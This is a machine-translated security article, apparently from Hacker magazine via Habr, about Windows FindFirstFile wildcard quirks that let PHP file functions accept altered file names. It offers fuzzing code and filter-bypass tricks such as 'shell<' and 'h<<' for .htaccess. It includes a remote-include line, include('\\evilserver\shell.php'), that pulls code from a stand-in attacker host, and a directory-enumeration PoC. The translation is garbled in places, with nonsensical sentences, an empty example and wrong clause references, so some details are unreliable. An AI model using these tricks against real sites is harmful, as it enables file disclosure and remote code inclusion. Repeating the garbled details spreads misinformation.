📜 ⬆️ ⬇️

New file access vulnerabilities in PHP

Some year ago, everyone was just crazy about Error-based MySQL, and unserialize seemed something complicated and not occurring in real life. Now this is a classic technique. What can we say about such dinosaurs as null-bytes in the inclusions, replaced by the file name truncated. Researchers are constantly digging up something, coming up, and in the meantime new versions of interpreters and engines are coming out, and with them new developer bugs.
In fact, there are three methods to find a vulnerability: savvy (when the researcher comes up with a trick and checks if it works in practice), source code analysis and fuzzing. I want to tell you about one interesting Chinese fuzzing and its development.

List of functions and test results

Fuzzing is not only valuable fur ...


It all started with the fact that Google ordered the issue no longer remember what request and showed the site in Chinese: http://code.google.com/p/pasc2at/wiki/SimplifiedChinese , which collected a lot of interesting finds of Chinese fuzzers. Interestingly, the list contained some very recent finds that were just published in articles. Among them was found and attracted my attention code as follows:
<?php for($i=0;$i<255;$i++) { $url = '1.ph'.chr($i); $tmp = @file_get_contents($url); if(!empty($tmp)) echo chr($i)."\r\n"; } ?> 
He attracted me because I did not understand the meaning, but I disassembled the familiar “win32” symbols in the description :). Translating Chinese writing was a strange entertainment even using google.translate, so I stupidly executed this code under Windows and looked at the result. What was my surprise when it turned out that the file in Windows existed at least 4 names: 1.phP, 1.php, 1.ph>, 1.ph <. Now the Chinese writing did not seem so far to me, and the Google translator helped to understand its meaning. Actually, in this very “sense” there was nothing more than a description of the code and the result of its work. Not that not thickly - not at all! This state of affairs did not suit me. I still don’t understand these Chinese people - wasn’t they interested in understanding which functions were still vulnerable, what features did this bug have in operation, and in the end, why does it work at all?

I demand the continuation of the banquet!


First of all, I added a second iterator and ran the fuzzing code by the last two bytes already. The results were unpredictable:
 1.p<0 (-  ) 1.p< (  ) 1.p<" 1.p<. 1.p<< 1.p>> 1.p<> 1.p>< 1.p<(p/P) 1.p>(p/P) 1.p(h/H)< 1.p(h/H)> 1.p(h/H)(p/P) 
Laws were clearly visible from here - at the end of the file name there could be characters: a dot, a double quotation mark, a space, a null byte. To test this guess, I ran the following code:
 <?php if (file_get_contents("test.php".str_repeat("\"",10).str_repeat(" ",10).str_repeat(".",10))) echo 1337; ?> 
As you might guess, he returned 1337, that is, everything worked as predicted. This in itself was already an extension over the symbols of a popular vulnerability, an alternative to null-byte in the inclusions. After continuing the bullying of the interpreter, the file name constructs with slashes at the ends were found, which were also read without problems:
 file\./.\. file////. file\\\. file\\.//\/\/\/. 
I think everything is clear here: if you use slashes after the file name, then the end should always be at the end. In this case, slashes can be mixed, and one point can be stuck between them.
With all this, the main thing was unclear - what do the characters <and> hide?
')

Great and mighty winapi


As it quickly became clear to me, fuzzing would not understand the nature of this error. There were two options: watch sorts or trace calls. Both of these methods rather quickly pointed to the same thing — a call to the FindFirstFile function. At the same time, the call on the stack passed with the replacement of the> character by?, And <by *, the double quote was replaced with a period. It was also very fun to notice that, despite the replacement, <did not always work as * in the file mask, but << always worked well. At the same time, both calls on the stack were exactly the same, but they gave different results (see figure). Now it became completely clear where the legs grow from. And legs really grew from F under the name of MS.



MSDN benefits


Now it was necessary to understand whether this behavior of the FindFirstFile function is normal, or there is a bug here. I started looking for the answer to this question with the documentation: msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx .
The documentation itself did not say anything about the characters> <", but here in the comments ...
Bug ?!
The characters are treated like wildcard by this function.

[MSFT] - These are the paths and file names. That topic is being updated to make this clearer.
History

10/19/2007
xMartian

5/2/2008
Mark Amos - MSFT
That is, this bug was known back in 2007! And the manufacturer’s response was generally shocking with its content ... No comment :). On this, it seems, the reason for this behavior of PHP has finally become clear. It was possible to start expanding the scope of this bug. After trying various options, rereading a bunch of documentation (MSDN is really very useful) and testing hundreds of ideas, I discovered a number of rules that work for file names in WIN systems. And the bug in FindFirstFile contributes only to the first four of them (we do not consider the zero point). Also, looking ahead, I will say that the vulnerability concerns not only the file_get_contents function:
  1. Characters * and? do not work in filenames when calling FindFirstFile via PHP (filtered).
  2. The <symbol is replaced when calling FindFirstFile with *, that is, a mask of any number of any characters. At the same time, there were cases when it works incorrectly (see picture). For a guaranteed mask *, use <<.
    Example: include ('shell <') will include a shell * file, and if more than one file gets under the mask, then the one that goes alphabetically will connect.
  3. The> symbol is replaced when FindFirstFile is called with?, That is, any single character.
    Example : include ('shell.p> p') will include the file shell.p? P, and if more than one file gets under the mask, then the one that goes alphabetically will connect.
  4. The symbol "is replaced when calling FindFirstFile with a dot.
    Example: include ('shell "php') is equivalent to include ('shell.php').
  5. If the first character in the file name is a dot, then you can read the file by name without considering this dot.
    Example: fopen ("htaccess") is equivalent to fopen (". Htaccess"), and more sophisticatedly using clause 1, fopen ("h <<"). Since the second letter "a" is in the file name, then alphabetically he will most likely be the first.
  6. At the end of file names, you can use sequences of slashes of the same or a different type (forward and reverse), between which you can put a single point, and at the end there must always be a point, and not ", but the real one.
    Example: fopen ("")
  7. You can use network names starting with \\ followed by any character other than a dot. This is obvious and was known to all for a long time. I will only add that if the network name does not exist, then an extra 4 seconds go to the operation with the file, which contributes to the expiration of time and the max_execution_time error (see the article “ Gyulchatay, open your face ”). It also allows you to bypass allow_url_fopen = Off and do RFI.
    Example: include ('\\ evilserver \ shell.php')
  8. You can use extended names starting with \\. \, Which makes it possible to switch between drives in the file name.
    Example: include ('\\. \ C: \ my \ file.php \ .. \ .. \ .. \ D: \ anotherfile.php').
  9. You can use alternate disk name syntax to bypass filtering slashes.
    Example: file_get_contents ('C: boot.ini') is equivalent to file_get_contents ('C: /boot.ini')
  10. You can use short DOS-compatible file and directory names. This is dupe, do not argue. But I draw your attention that if the directory contains more than four files whose names are shorter than three characters, then such names will be supplemented with four hex characters. Similarly, the file name will be changed if there are more than four files in the directory whose names begin with the same two first letters.
    Quote:
    If you’re on your own, you’ll have a unique designator. MYFAVO ~ 1.DOC, MYFAVO ~ 2.DOC, MYFAVO ~ 3.DOC, and MYFAVO ~ 4.DOC. MY3140 ~ 1.DOC, MY40C7 ~ 1.DOC, and MYEACC ~ 1.DOC.
    Example: in.conf has a DOS name IND763 ~ 1.CON, that is, it can be read with the line file_get_contents ('<< D763 <<'), which does not contain a single byte from the actual file name! As these four hex characters are considered nowhere to be said, they seem to depend only on the file name.
  11. In PHP, under the command line environment (not mod_php, but php.exe), the specificity of files with reserved names aux, con, prn, com1-9, lpt1-9 works.
    Example: file_get_contents ('C: /tmp/con.jpg') will read endlessly from the CON device null bytes, waiting for EOF.
    Example: file_put_contents ('C: /tmp/con.jpg',chr (0x07)) squeaks with the server speaker (music :)).
I advise you to cut out all the items and hang in a frame in a prominent place. The excess will not be :).

We play counting


I couldn’t believe the Chinese in the signature of fuzzing that the vulnerability concerns only file_get_contents, if only because I remembered the PHP source code for a bit. Without thinking twice, I checked all the functions that I remembered regarding working with files. The results were more than positive.
Vulnerability is present in the functions:
 fopen file_get_contents copy parse_ini_file readfile file_put_contents mkdir tempnam touch move_uploaded_file include(_once) require(_once) ZipArchive::open() 
Not present in:
 rename unlink rmdir 
There is where to roam, is not it? But it's not so bad.

PoC: ideas for use


Obviously, this vulnerability can be used to bypass all possible filters and restrictions. For example, for a .htaccess file, the alternate name would be h << (see clause 4, item 1). Two-character files can generally be read without a name (see Section 9.). Well, and so on. There is another, no less interesting application - the definition of folder names and files.
Consider an example:
 <?php file_get_contents("/images/".$_GET['a'].".jpg"); ?> 
With this code, you can very easily get a list of web server directories.
We send the request test.php? A = .. / a <% 00 and get the answer like
 Warning: include(/images/../a<) [function.include]: failed to open stream: Invalid argument in ... 
or
 Warning: include(/images/../a<) [function.include]: failed to open stream: Permission denied ... 
In the first case, the server did not find any directories starting with the letter “a” at the root, in the second one I found it.
Then you can run the selection of the second letter and so on. To speed up, you can use phonetics (see the article "Faster, higher and again faster. Revolutionary approaches to the operation of SQL injection" ). The good old technique of exploitation of blind SQL injections works.
During the experiments, it was noticed that sometimes the server immediately returns the found path in the error message. Then it is necessary to select only if directories begin with the same symbol. What determines the conclusion of the error, I did not have time to figure it out and leave it to the public.

Lyrical digression


It is gratifying to note that the Magician also found the report from the Chinese, who published it among others in the article “Little Known Attacks on Web Applications” on April 19, but there was no explanation and emphasis on this vulnerability, there was only a Chinese example from which I started.

Morality


Honestly, I really wanted to find an alternative to zero-byte, but in vain. But this vulnerability opens space for other, no less interesting attacks. In fact, providing the ability to search directories and files through the functions of working with files. This in itself is a unique phenomenon. Anyway, respect the Chinese with their fuzzing, but I urge both them and everyone else to explore the raw data obtained in this way. Fuzzing fuzzing, and you have to think with your head.

Useful links:
Hacker Magazine, February (02) 145
Vladimir "d0znp" Vorontsov

Subscribe to "Hacker"

Source: https://habr.com/ru/post/112691/


All Articles